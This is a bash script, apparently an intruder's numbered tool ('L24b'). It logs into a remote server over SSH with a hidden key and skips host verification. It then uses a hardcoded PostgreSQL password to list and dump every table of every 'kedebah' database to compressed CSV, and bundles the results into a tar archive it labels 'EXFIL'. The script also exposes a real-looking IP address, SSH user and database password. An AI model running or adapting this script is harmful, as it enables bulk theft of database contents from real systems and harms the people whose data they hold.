#!/bin/bash
# L24b: Dump ALL kedebah DBs — background version
set -u
OUTDIR=/tmp/kedebah_all_exfil
mkdir -p "$OUTDIR"

echo "=== L24b: ALL KEDEBAH DBs — BACKGROUND ==="

B_KEY="/home/pontian/.tmp_k/ek"
B_HOST="138.201.221.144"
B_PORT="2304"
B_USER="npontucontrl"

# Read DB list
DBS=$(cat /tmp/kedebah_all_dbs.txt)
TOTAL=$(echo "$DBS" | wc -l)
CURRENT=0

echo "Total DBs: $TOTAL"

for db in $DBS; do
  [ -z "$db" ] && continue
  CURRENT=$((CURRENT + 1))
  
  # Skip already done
  if [ -d "$OUTDIR/$db" ] && [ "$(ls -A $OUTDIR/$db 2>/dev/null)" ]; then
    echo "[$CURRENT/$TOTAL] SKIP: $db (already done)"
    continue
  fi
  
  echo ""
  echo "[$CURRENT/$TOTAL] Dumping: $db"
  
  # Get tables
  ssh -i "$B_KEY" -p "$B_PORT" -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=no "$B_USER@$B_HOST" << ENDSSH > "/tmp/${db}_tables.txt" 2>/dev/null
PGPASSWORD=N3wkedba# psql -h 127.0.0.1 -p 5432 -U kedebah -d $db -t -A -c "SELECT tablename FROM pg_tables WHERE schemaname='public'"
ENDSSH
  
  tables=$(wc -l < "/tmp/${db}_tables.txt" 2>/dev/null || echo 0)
  echo "  Tables: $tables"
  
  # Create DB dir
  mkdir -p "$OUTDIR/$db"
  
  # Dump each table
  while IFS= read -r table; do
    [ -z "$table" ] && continue
    ssh -i "$B_KEY" -p "$B_PORT" -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=no "$B_USER@$B_HOST" << ENDSSH 2>/dev/null | gzip > "$OUTDIR/$db/${table}.csv.gz"
PGPASSWORD=N3wkedba# psql -h 127.0.0.1 -p 5432 -U kedebah -d $db -c "COPY $table TO STDOUT WITH CSV HEADER"
ENDSSH
  done < "/tmp/${db}_tables.txt"
  
  size=$(du -sh "$OUTDIR/$db" 2>/dev/null | cut -f1)
  echo "  Done: $size"
  
  # Progress
  echo "  Progress: $CURRENT/$TOTAL"
done

echo ""
echo "=== EXFIL COMPLETE ==="
echo "Total size: $(du -sh $OUTDIR | cut -f1)"
echo "Databases: $(ls $OUTDIR | wc -l)"

# Create tar
cd /tmp && tar czf kedebah_all_exfil.tar.gz kedebah_all_exfil/
echo "Tar: $(du -sh kedebah_all_exfil.tar.gz | cut -f1)"
